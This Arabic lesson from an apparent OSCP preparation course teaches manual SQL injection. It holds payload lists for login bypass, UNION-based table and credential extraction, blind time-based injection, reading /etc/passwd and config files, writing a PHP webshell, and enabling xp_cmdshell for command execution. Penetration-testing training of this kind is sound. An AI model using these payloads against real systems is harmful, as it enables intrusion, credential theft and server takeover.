الدرس 13 من 24

هجمات تطبيقات الويب

هجمات حقن SQL

5 دقيقة للقراءة

حقن SQL (SQLi) يبقى من أكثر ثغرات الويب حرجاً. يغطي هذا الدرس تقنيات الاختبار اليدوي الضرورية لـ OSCP.

فهم حقن SQL

حقن SQL يحدث عندما يُدخل مدخلات المستخدم مباشرة في استعلامات قاعدة البيانات:

// كود ضعيف
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";

مع المدخل: admin' OR '1'='1

SELECT * FROM users WHERE username='admin' OR '1'='1' AND password=''

تحديد حقن SQL

اختبار SQLi

حمولات الاختبار الشائعة:
'              (علامة اقتباس مفردة)
"              (علامة اقتباس مزدوجة)
' OR '1'='1    (صحيح دائماً)
' OR '1'='1'-- (تعليق الباقي)
1' ORDER BY 1--
admin'--

الكشف المبني على الأخطاء

ابحث عن أخطاء قاعدة البيانات:

MySQL:    "You have an error in your SQL syntax"
MSSQL:    "Unclosed quotation mark"
PostgreSQL: "syntax error at or near"
Oracle:   "ORA-01756: quoted string not properly terminated"

تقنيات حقن SQL اليدوية

تجاوز المصادقة

-- تجاوز أساسي
اسم المستخدم: admin' OR '1'='1'--
كلمة المرور: أي شيء

-- حمولات بديلة
admin'--
' OR 1=1--
' OR 'a'='a
') OR ('1'='1

الحقن المبني على Union

الخطوة 1: إيجاد عدد الأعمدة

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--  -- استمر حتى الخطأ

-- أو استخدم NULL
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

الخطوة 2: إيجاد الأعمدة القابلة للعرض

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

الخطوة 3: استخراج البيانات

-- MySQL
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password FROM users--

-- MSSQL
' UNION SELECT name,NULL FROM sysobjects WHERE xtype='U'--
' UNION SELECT name,NULL FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')--

استخراج معلومات قاعدة البيانات

MySQL:

-- إصدار قاعدة البيانات
' UNION SELECT @@version,NULL--

-- قاعدة البيانات الحالية
' UNION SELECT database(),NULL--

-- المستخدم الحالي
' UNION SELECT user(),NULL--

-- قائمة قواعد البيانات
' UNION SELECT schema_name,NULL FROM information_schema.schemata--

MSSQL:

-- إصدار قاعدة البيانات
' UNION SELECT @@version,NULL--

-- قاعدة البيانات الحالية
' UNION SELECT db_name(),NULL--

-- قائمة قواعد البيانات
' UNION SELECT name,NULL FROM master..sysdatabases--

حقن SQL الأعمى

عندما لا يكون هناك إخراج مرئي، استخدم تقنيات مبنية على الوقت أو المنطق.

المبني على المنطق

-- اختبار إذا كان قابلاً للحقن
' AND 1=1--  (يجب أن يعود عادي)
' AND 1=2--  (يجب أن يعود مختلف)

-- استخراج البيانات حرفاً بحرف
' AND SUBSTRING(username,1,1)='a'--
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--

المبني على الوقت

-- MySQL
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--

-- MSSQL
'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
'; SELECT pg_sleep(5)--

قراءة الملفات (MySQL)

-- قراءة /etc/passwd
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL--

-- قراءة ملفات الويب
' UNION SELECT LOAD_FILE('/var/www/html/config.php'),NULL--

كتابة الملفات (MySQL)

-- كتابة webshell (يتطلب صلاحية FILE)
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'--

ورقة غش حقن SQL

MySQL

-- التعليقات
--
#
/* */

-- دمج السلاسل
'admin' 'istrator'  -- ضمني
CONCAT('a','b')

-- الإصدار
@@version
VERSION()

-- قاعدة البيانات الحالية
database()

-- قائمة الجداول
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- قائمة الأعمدة
SELECT column_name FROM information_schema.columns WHERE table_name='users'

MSSQL

-- التعليقات
--
/* */

-- دمج السلاسل
'a'+'b'

-- الإصدار
@@version

-- قاعدة البيانات الحالية
db_name()

-- تمكين xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- تنفيذ الأوامر
EXEC xp_cmdshell 'whoami';

إرشادات SQLi لـ OSCP

تذكر: --os-shell في sqlmap محظور في OSCP. الحقن اليدوي مطلوب.

مسموح:

  • حقن SQL اليدوي
  • Burp Suite (الوضع اليدوي)
  • النصوص البرمجية المخصصة

غير مسموح:

  • الاستغلال الآلي لـ sqlmap
  • ميزات الاستغلال التلقائي

سير عمل اختبار SQLi

1. تحديد نقاط الإدخال
   └── النماذج، URLs، الكوكيز، الترويسات

2. اختبار الحقن
   └── علامات الاقتباس المفردة، الأخطاء

3. تحديد نوع قاعدة البيانات
   └── رسائل الخطأ، اختلافات الصيغة

4. استطلاع الهيكل
   └── الجداول، الأعمدة

5. استخراج البيانات
   └── بيانات الاعتماد، المعلومات الحساسة

6. التصعيد إذا أمكن
   └── قراءة/كتابة الملفات، تنفيذ الأوامر

في الدرس التالي، سنغطي حقن الأوامر وثغرات تنفيذ أوامر OS. :::

اختبار

الوحدة 4: هجمات تطبيقات الويب

خذ الاختبار